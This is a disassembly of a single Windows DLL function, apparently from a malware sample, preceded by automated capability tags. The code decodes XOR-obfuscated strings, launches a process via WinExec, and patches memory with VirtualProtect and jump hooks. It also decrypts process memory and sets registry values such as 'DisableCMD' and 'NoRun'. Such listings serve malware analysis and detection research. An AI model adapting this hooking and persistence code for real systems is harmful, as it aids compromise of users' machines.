Function at 0x10008cd0
Capabilities:
Allocate or change rwx memory
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x3e0], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000978c
lea eax, [esp + 0x1d8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0xdf
xor esi, esi
lea ebx, [eax + 0x20]
mov cl, byte [esi + 0x1001fe28]
xor cl, al
inc eax
mov byte [esp + esi + 0x9c], cl
inc esi
and eax, ebx
cmp esi, 0x36
jb 0x10008d22
lea edx, [esp + 0x1d8]
push edx
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x2e8]
push ecx
mov byte [esp + 0xde], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea edx, [esp + 0xa0]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea eax, [esp + 0x2e4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [esp + 0x1dc]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea edx, [esp + 0x2e4]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea eax, [esp + 0x114]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [esp + 0x110]
push ecx
mov dword [esp + 0x114], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x114], 6
ja 0x10008e02
cmp dword [esp + 0x118], 1
ja 0x10008e02
mov byte [0x11282a2a], 1
jmp 0x10008e0b
push edi
call fcn.10015b60
add esp, 4
cmp byte [0x4d1e69], 0xeb
jne 0x10008e19
call fcn.10015a20
mov ecx, 0x1f247c3b
lea eax, [esp + 0x38]
call fcn.10009890
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov word [esp + 0x40], ax
mov byte [esp + 0x42], al
mov ecx, 0x5cc7832f
lea eax, [esp + 0x64]
call fcn.10009d90
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], ecx
mov word [esp + 0x6c], cx
call eax
mov byte [0x11282a5d], 1
call fcn.100047e0
mov esi, 0x10
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xc708c483
mov dword [esp + 0x1ac], 0xffffff05
mov dword [esp + 0x1b0], 0x46ff
mov dword [esp + 0x1b4], 0x68006a00
call fcn.10015970
test eax, eax
je 0x10008f10
mov edx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea edi, [esi + edx + 5]
lea eax, [edi + 0xa]
mov dword [0x10025368], eax
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push edi
mov dword [0x10025368], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
push eax
mov ecx, 0x10004ee0
sub ecx, edi
push 5
sub ecx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10013aa0
jmp 0x10008f34
mov eax, 0xef
xor esi, esi
mov cl, byte [esi + 0x1001fe6c]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x11
jb 0x10008f17
call fcn.10015a20
mov esi, 0x1b
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffffffff
mov dword [esp + 0x1b0], 0xffff8b32
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0x78ffffff
mov dword [esp + 0x1bc], 0x8bffff89
mov word [esp + 0x1c0], 0x8ff
mov byte [esp + 0x1c2], 0x51
call fcn.10015970
test eax, eax
je 0x1000925f
mov edx, dword [eax + 1]
mov esi, 0x21
lea edi, [esp + 0x1a8]
mov dword [0x11282aa8], edx
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffff89ff
mov dword [esp + 0x1b0], 0x83ffffff
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffff02ff
mov dword [esp + 0x1bc], 0xffffff83
mov dword [esp + 0x1c0], 0x7404ffff
mov dword [esp + 0x1c4], 0x6affebff
mov byte [esp + 0x1c8], 0
call fcn.10015970
mov dword [0x11282aac], eax
test eax, eax
je 0x1000902e
mov eax, dword [eax + 1]
mov dword [0x11282aac], eax
jmp 0x1000907a
mov eax, 0xba
xor esi, esi
mov cl, byte [esi + 0x1001fe80]
xor cl, al
inc eax
mov byte [esp + esi + 0x44], cl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10009035
lea edx, [esp + 0x44]
push edx
push 0
mov ecx, 0x10125568
mov byte [esp + 0x5b], 0
call fcn.1000aff0
xor eax, eax
add esp, 8
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.10015a20
mov esi, 0x17
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0x8e68
mov dword [esp + 0x1ac], 0xc16800
mov dword [esp + 0x1b0], 0xff8d0000
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffffffe8
mov word [esp + 0x1bc], 0x6aff
mov byte [esp + 0x1be], 2
call fcn.10015970
mov dword [esp + 0x10], eax
test eax, eax
je 0x10009237
mov esi, 0x1b
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffffffa1
mov dword [esp + 0x1ac], 0xffffffff
mov dword [esp + 0x1b0], 0xffff8b32
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0x78ffffff
mov dword [esp + 0x1bc], 0x8bffff89
mov word [esp + 0x1c0], 0x8ff
mov byte [esp + 0x1c2], 0x51
call fcn.10015970
mov dword [0x11282a18], eax
test eax, eax
je 0x10009158
mov eax, dword [eax + 0xb]
mov dword [0x11282a18], eax
jmp 0x1000917d
mov eax, 0x67
xor esi, esi
nop
mov cl, byte [esi + str.4__58]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x12
jb 0x10009160
call fcn.10015a20
mov eax, dword [esp + 0x10]
mov edx, dword [eax + 0x48]
mov ecx, dword [eax + edx + 0x57]
lea eax, [eax + edx + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x11282a10], ecx
add ecx, 0x2d
mov dword [0x11282a0c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x11282a0c], ecx
mov edx, dword [eax + 0x26]
mov dword [0x11282a14], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10025378], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025378], ecx
lea ecx, [eax + 0x21]
mov dword [0x1002536c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1002536c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10025370], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025370], ecx
lea ecx, [eax + 0x42]
mov dword [0x10025374], ecx
mov edx, dword [ecx + 1]
mov dword [0x11282a08], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1002537c], eax
mov dword [0x10025374], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x1002537c], eax
mov dword [0x11282ab0], 0x100057e0
jmp 0x100092ab
mov eax, 0x72
xor esi, esi
mov edi, edi
mov cl, byte [esi + 0x1001fea4]
xor cl, al
inc eax
mov byte [esp + esi + 0x1a8], cl
inc esi
and eax, ebx
cmp esi, 0x1b
jb 0x10009240
call fcn.10015a20
jmp 0x100092ab
mov eax, 0x82
xor esi, esi
mov dl, byte [esi + 0x1001fec0]
xor dl, al
inc eax
mov byte [esp + esi + 0x54], dl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10009266
lea eax, [esp + 0x54]
push eax
push 0
mov ecx, 0x10125568
mov byte [esp + 0x6b], 0
call fcn.1000aff0
xor eax, eax
add esp, 8
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call fcn.10015a20
mov esi, 0x30
lea edi, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0xffe8c88b
mov dword [esp + 0x1ac], 0xe8ffffff
mov dword [esp + 0x1b0], 0xffffffff
mov dword [esp + 0x1b4], 0xffffffe8
mov dword [esp + 0x1b8], 0xffffe8ff
mov dword [esp + 0x1bc], 0xffe8ffff
mov dword [esp + 0x1c0], 0xe8ffffff
mov dword [esp + 0x1c4], 0xffffffff
mov dword [esp + 0x1c8], 0xffffffe8
mov dword [esp + 0x1cc], 0xffffe8ff
mov dword [esp + 0x1d0], 0x1b0ffff
mov dword [esp + 0x1d4], 0xc35de58b
call fcn.10015970
mov dword [0x10130494], eax
test eax, eax
je 0x1000939a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [eax + 0x20]
mov dword [0x1063053c], ecx
lea edi, [eax + 0x1b]
lea ecx, [esp + 0x10]
push ecx
mov dword [0x10630538], edi
mov edx, dword [edi + 1]
push 0x40
push 5
lea eax, [edi + edx + 5]
push edi
mov dword [0x10630538], eax
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push ecx
mov edx, 0x10005960
sub edx, edi
push 5
sub edx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], edx
call esi
jmp 0x100093a5
call fcn.10015a20
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [0x11282a10]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x76
push edi
call esi
push 0x76
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x76
push edi
call esi
mov edi, dword [0x11282a08]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x1e0
push edi
call esi
push 0x1e0
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x1e0
push edi
call esi
mov edi, dword [0x11282a14]
lea edx, [esp + 0x10]
push edx
push 0x40
push 0x33
push edi
call esi
push 0x33
push 0xc3
push edi
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push ecx
push 0x33
push edi
call esi
mov edi, dword [0x11282a14]
lea edx, [esp + 0x10]
push edx
push 0x40
push 5
push edi
call esi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ecx
push edx
mov eax, 0x10005590
sub eax, edi
push 5
sub eax, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], eax
call esi
push 0x500000
push 0
push 0x10130538
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x500000
push 0x10130538
push 0x400000
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
jmp 0x100094b0
mov cl, byte [eax + 0x10130538]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130538], cl
inc eax
cmp eax, 0x500000
jb 0x100094b0
push 0xa0
push 0
push 0x10130498
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10130498
push 0x10005590
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10130498]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130498], dl
inc eax
cmp eax, 0xa0
jb 0x10009500
push 0x7c
push 0
push 0x10130418
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10130418
push fcn.10004fe0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
mov cl, byte [eax + 0x10130418]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130418], cl
inc eax
cmp eax, 0x7c
jb 0x10009544
push 0x52f
push 0
push 0x1012fee8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x1012fee8
push fcn.10005060
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x1012fee8]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012fee8], dl
inc eax
cmp eax, 0x52f
jb 0x10009590
push 0x32
push 0
push 0x1012fe7c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x32
push 0x1012fe7c
push 0x1000e130
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor edi, edi
xor eax, eax
jmp 0x100095e0
mov cl, byte [eax + 0x1012fe7c]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012fe7c], cl
inc eax
cmp eax, 0x32
jb 0x100095e0
mov dword [esp + 0x18], edi
mov eax, 6
mov dl, byte [edi + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, al
inc eax
mov byte [esp + edi + 0xd4], dl
inc edi
and eax, ebx
cmp edi, 0x3b
jb 0x10009601
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xd8]
push ecx
push closesocket
mov byte [esp + 0x11b], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x3c
lea edx, [esp + 0xd8]
push 0
push edx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x20]
add esp, 0xc
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push 0
lea ecx, [esp + 0x34]
push ecx
push edx
mov dword [esp + 0x3c], 0x75526f4e
mov word [esp + 0x40], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
mov dword [esp + 0x24], eax
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0xa1
xor edi, edi
mov cl, byte [edi + 0x1001ff0c]
xor cl, al
inc eax
mov byte [esp + edi + 0x70], cl
inc edi
and eax, ebx
cmp edi, 0x2a
jb 0x10009694
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x74]
push eax
push closesocket
mov byte [esp + 0xa6], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x2b
lea ecx, [esp + 0x74]
push 0
push ecx
call sub.MSVCR100.dll_memset
mov ecx, dword [esp + 0x20]
add esp, 0xc
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push 0
lea eax, [esp + 0x3c]
push eax
push ecx
mov dword [esp + 0x44], 0x61736944
mov dword [esp + 0x48], 0x43656c62
mov word [esp + 0x4c], 0x444d
mov byte [esp + 0x4e], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
xor eax, eax
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov word [esp + 0x38], ax
mov byte [esp + 0x3a], al
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x20]
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [0x11282a24], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10009787
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x11282ac8
call esi
mov edx, dword [edi]
mov dword [0x11282ac8], edx
mov edx, dword [esp + 0x10]
mov ax, word [edi + 4]
lea ecx, [esp + 0x10]
push ecx
push edx
push 6
push 0x11282ac8
mov word [0x11282acc], ax
call esi
call fcn.10011290
mov ecx, dword [esp + 0x3ec]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10018e16
mov esp, ebp
pop ebp
ret 0xc